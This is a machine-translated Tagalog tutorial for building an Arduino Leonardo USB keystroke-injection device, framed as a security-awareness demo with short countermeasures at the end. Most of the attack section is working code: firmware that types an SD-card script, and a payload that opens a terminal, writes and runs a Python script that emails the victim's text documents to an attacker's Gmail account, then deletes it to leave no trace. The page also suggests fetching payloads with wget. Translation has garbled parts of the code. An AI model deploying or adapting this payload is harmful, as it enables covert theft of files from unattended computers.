Talaan ng mga Nilalaman:

Arduino Keyboard Exploit Demo (HID) at Pag-iwas: 4 Mga Hakbang (na may Mga Larawan)
Arduino Keyboard Exploit Demo (HID) at Pag-iwas: 4 Mga Hakbang (na may Mga Larawan)

Video: Arduino Keyboard Exploit Demo (HID) at Pag-iwas: 4 Mga Hakbang (na may Mga Larawan)

Video: Arduino Keyboard Exploit Demo (HID) at Pag-iwas: 4 Mga Hakbang (na may Mga Larawan)
Video: Web Programming - Computer Science for Business Leaders 2016 2024, Hulyo
Anonim
Image
Image
Pagbuo ng Device
Pagbuo ng Device

Sa proyektong ito gagamit kami ng isang arduino leonardo upang gayahin ang isang posibleng pag-atake sa USB gamit ang HID (humain interface device).

Nilikha ko ang tutorial na ito na hindi upang matulungan ang mga hacker ngunit upang ipakita sa iyo ang ilang mga tunay na panganib at kung paano protektahan ang iyong sarili mula sa mga panganib na iyon. Ang aparatong ito ay hindi isang aparato na maaaring magamit sa anumang platform para sa mga hacker, higit itong isang patunay ng konsepto nang detalyado.

Malalaman natin ang sumusunod:

- kung paano gamitin ang arduino leonardo upang tularan ang keyboard

- kung paano basahin ang data mula sa mga SD card

- kung paano lumikha ng isang script ng sawa na nag-scan ng mga file at nag-email sa kanila

- kung paano protektahan ang iyong sarili mula sa mga USB hacking device

Hakbang 1: Mga Kagamitan

Mga Bahagi:

1. Arduino leonardo

2. micro USB card reader

3. ilang GB SD card

4. pushbutton tulad ng isang ito (VCC, Ground at signal)

5. mga kable na pambabae-lalaki at babae-babae na lumulukso

6. micro USB sa USB cable

Hakbang 2: Pagbuo ng Device

Pagbuo ng Device
Pagbuo ng Device

Bago ang tagubilin sa gusali suriin natin ang prinsipyo ng pagtatrabaho:

Ang Arduino leonardo ay maaaring kumilos tulad ng isang aparato ng interface ng tao (HID) at samakatuwid ay maaaring tularan ang mouse at keyboard. Gagamitin namin ang tampok na ito upang buksan ang isang terminal (sa UBUNTU linux) at magsulat ng isang maliit na script na mag-a-access sa / folder ng Mga Dokumento sa loob ng kopya ng home folder ng gumagamit.txt mga file doon at i-email ang mga ito sa isang tao. Kung nais mong malaman ang karagdagang mga detalye suriin ang susunod na hakbang.

Dahil ito ay isang aparato ng demo na mga bagay na talagang simple, hindi kami manghinang.

Mga tagubilin sa gusali

Bago kami magsimula suriin ang mga nakalakip na mga file, na-attach ko na ang mga skrip na fritzing, at lahat ng kinakailangang mga file

1. Ipunin ang mga sangkap:

* plug ang micro USB cable sa arduino

* ikonekta ang key switch sa arduino (ground, vcc at out module sa D8)

* ikonekta ang card reader sa arduino (gamit ang header ng ICSP). Si Arduino leonardo ay walang header ng ICSP na konektado sa mga digital na pin kaya kakailanganin mong ikonekta ang card reader sa header ng ICSP. Maaari kang makahanap ng ilang mga guhit ng ICSP dito: https://learn.sparkfun.com/tutorials/installing-an…. Ikonekta ang SS pin sa digital pin 10

2. makuha ang code ng arduino, maaari mong i-clone ang aking arduino repository sa github: https://github.com/danionescu0/arduino at pumunta sa mga proyekto / keyboard_exploit o kunin ito mula sa ibaba:

# isama ang "Keyboard.h"

# isama ang "SPI.h" # isama ang "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Command::"; int delayBetweenCommands = 10; Const int buttonPin = 8; Const int chipSelect = 10; int nakaraangButtonState = TAAS; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); kung (! SD.begin (chipSelect)) {Serial.println ("Nabigo ang card, o wala!"); bumalik; }} void loop () {int buttonState = digitalRead (buttonPin); kung ((buttonState! = nakaraang ButtonState) && (buttonState == MATAAS)) {sdFileToKeyboard (); Serial.println ("Na-upload!"); pagkaantala (500); } nakaraangButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); kung (! dataFile) {Serial.println ("Ang tinukoy na filename ay wala sa SD card, suriin ang filenameOnCard!"); } Linya ng String; habang (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (linya); sendToKeyboard (linya); } dataFile.close (); } walang bisa ang sendToKeyboard (String line) {String workingLine = line; kung (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); bumalik; } kung (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (linya); Keyboard.println (linya); pindutin ang enter(); bumalik; } Serial.println ("Command:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine + = ","; habang (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String command = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; kung (utos! = "") {Serial.print ("Natagpuan ang utos:"); Serial.println (utos); Keyboard.press (getCommandCode (utos)); antala (antalaMga Komisyon); }} Keyboard.releaseAll (); antala (antalaMga Komisyon); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); antala (sleepAmount); } char getCommandCode (String text) {char textCharacter [2]; text.toCharArray (textCharacter, 2); char code = textCharacter [0]; code = (text == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: code; code = (text == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: code; code = (text == "KEY_LEFT_ALT")? KEY_LEFT_ALT: code; code = (text == "KEY_UP_ARROW")? KEY_UP_ARROW: code; code = (text == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: code; code = (text == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: code; code = (text == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: code; code = (text == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: code; code = (text == "KEY_BACKSPACE")? KEY_BACKSPACE: code; code = (text == "KEY_TAB")? KEY_TAB: code; code = (text == "KEY_RETURN")? KEY_RETURN: code; code = (text == "KEY_ESC")? KEY_ESC: code; code = (text == "KEY_INSERT")? KEY_INSERT: code; code = (text == "KEY_DELETE")? KEY_DELETE: code; code = (text == "KEY_PAGE_UP")? KEY_PAGE_UP: code; code = (text == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: code; code = (text == "KEY_HOME")? KEY_HOME: code; code = (text == "KEY_END")? KEY_END: code; code = (text == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: code; code = (text == "KEY_F1")? KEY_F1: code; code = (text == "KEY_F2")? KEY_F2: code; code = (text == "KEY_F3")? KEY_F3: code; code = (text == "KEY_F4")? KEY_F4: code; code = (text == "KEY_F5")? KEY_F5: code; code = (text == "KEY_F6")? KEY_F6: code; code = (text == "KEY_F7")? KEY_F7: code; code = (text == "KEY_F8")? KEY_F8: code; code = (text == "KEY_F9")? KEY_F9: code; code = (text == "KEY_F10")? KEY_F10: code; code = (text == "KEY_F11")? KEY_F1: code; code = (text == "KEY_F12")? KEY_F2: code;

return code;

}

3. I-upload ang code sa arduino, tiyaking pumili ng 9600 baud rate, ang serial port at arduino leonardo

4. I-format ang sd card gamit ang FAT16 o FAT32

5. Kung na-clone mo ang github repo mula sa itaas, kopyahin ang hack.txt file sa card, kung hindi ang file ay nakalista sa ibaba:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tS Sleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os mula sa os.path import expanderer mula sa email. MIMEMultipart import MIMEMultipart mula sa email. MIMEBase import MIMEBase mula sa email. MIMEText import MIMEText mula sa email. Gumagamit ng import na CommASPACE, formatdate mula sa pag-import ng email na Mga Encoder

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Mga Dokumento'

subject = body = 'Mga file mula sa na-hack na computer'

header = 'To: {0} nFrom: {1} nSubject: {2} n'.format (to_address, smtp_user, paksa)

def sendMail (sa, paksa, teksto, mga file = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = CommASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Paksa'] = paksa msg.attach (MIMEText (teksto)) para sa file sa mga file: bahagi = MIMEBase ('application', "octet-stream") part.set_payload (buksan (file, "rb"). Basahin ()) Encoders.encode_base64 (bahagi) na bahagi. add_header ('Content-Disposition', 'attachment; filename = "% s"'% os.path.basename (file)) msg.attach (part)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, sa, msg.as_string ()) server.quit ()

sendMail ([to_address], paksa, katawan, glob.glob ("{0} / {1} / *. txt".format (expuser ("~"), scan_documents_location))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. I-edit ang mga sumusunod na linya:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

At palitan ng iyong mga email address

7. Alisin ang card at ipasok ito sa arduino card reader

Hakbang 3: Paano Ito Gumagana sa Mga Detalye

Paano gagana ang pag-atake:

1. Kapag pinindot ang pindutan, babasahin ni leonardo ang sd card gamit ang isang sd card reader. Ang isang espesyal na file na naglalaman ng mga key at kombinasyon ng key ay naroroon sa card. Ang pangalan ng file ay "hack.txt".

Maaaring maglaman ang file ng hilaw na teksto, at ipapasa ito sa keyboard tulad nito.

Gayundin maaari itong maglaman ng mga espesyal na utos tulad ng "Sleep::" at "Command::".

Isang linya tulad ng:

Ang tulog:: 200 ay nangangahulugang isang pagtulog ng 200 ms

Isang linya tulad ng:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, ang ibig sabihin ay kaliwa ctrl na pinindot, kaliwang alt pinindot, t pinindot at lahat ay pinakawalan

Maaari mong suriin ang lahat ng mga espesyal na key dito:

2. Magbasa si Leonardo ng linya sa pamamagitan ng linya, at bibigyang kahulugan ang mga utos at tularan ang mga key sa keyboard. Naglalaman ang file na "hack.txt" ng isang kumbinasyon ng mga key na ginagawa ang sumusunod (para sa UBUNTU linux):

a. magbubukas ng isang terminal (CTRL + ALT + T)

b. bubukas ang isang python file para sa paglikha gamit ang vi (nagsusulat ng "vi hack.py"

c. nagsusulat ng isang python script sa loob na nangongolekta ng lahat ng mga file ng teksto sa loob ng mga folder ng home folder at ipinapadala ang mga ito sa isang tinukoy na gmail address

d. pinapatakbo ang file sa background ("nohup python hack.py &")

e. tinatanggal ang file (rm -rf hack.py)

f. isinasara ang terminal (ALT + F4)

Ang buong bagay na ito ay tumatakbo sa loob ng ilang segundo at hindi nag-iiwan ng mga bakas.

Mga pagpapahusay at pag-troubleshoot

* Maaaring napansin mo na pagkatapos magbubukas ako ng isang terminal nagsusulat ako ng file ng sawa. isang mas mahusay na paraan dito ay upang ma-host ito sa kung saan at i-download ito gamit ang "wget some_url" na utos, pagkatapos ay palitan ang pangalan nito sa hack.py

* Gayundin maaari kaming mag-download o magpatakbo ng isang handa nang pagsamantalahan para sa naka-target na operating system

* Ang wifi ay maaaring idagdag sa module, at ang mga pag-hack ay maaaring ma-upload sa pamamagitan ng WIFI

* maaari mong gamitin ang arduino micro (na mas maliit) at i-embed ang exploit code dito (upang gawing mas maliit ito)

Mga limitasyon

1. Dahil ang simulate na aparato (keyboard at mouse) ay walang anumang feedback na hindi namin alam kung ano ang mangyayari pagkatapos maglabas ng isang utos na nangangahulugang kailangan naming gumamit ng mga pagkaantala. Halimbawa naglalabas ako ng isang utos upang buksan ang terminal, ngunit hindi ko alam kung kailan talaga ito bubuksan, kaya kailangan kong tukuyin ang isang di-makatwirang pagkaantala upang matiyak na ang mga character na na-type pagkatapos ay hindi mawala.

2. Maaari kaming makaranas ng mga problema sa pahintulot tulad ng hindi pag-access sa USB port o ang pahintulot na mag-install ng isang bagay

3. Ang bilis ng pagta-type hindi ito gaanong maganda kay leonardo

4. gagana lamang sa isang naka-target na operating system (sa aming kaso UBUNTU linux)

Sa susunod na hakbang ay susubukan upang makahanap ng mga paraan upang pagsamantalahan ang mga limitasyong ito upang maiwasan ang pag-hack ng aming computer

Hakbang 4: Mga Countermeasure

1. Hindi pagpapagana ng mga USB port

- para sa mga bintana maaari mong suriin ang tutorial na ito:

2. Mga aparato ng whitelist USB:

- para sa mga bintana:

2. I-lock ang iyong computer kapag wala ka

3. Huwag mag-login bilang root (nangangailangan ng mga password para sa pag-install ng anumang bagay)

4. Panatilihing napapanahon ang iyong sarili (awtomatikong mga pag-update)

Inirerekumendang: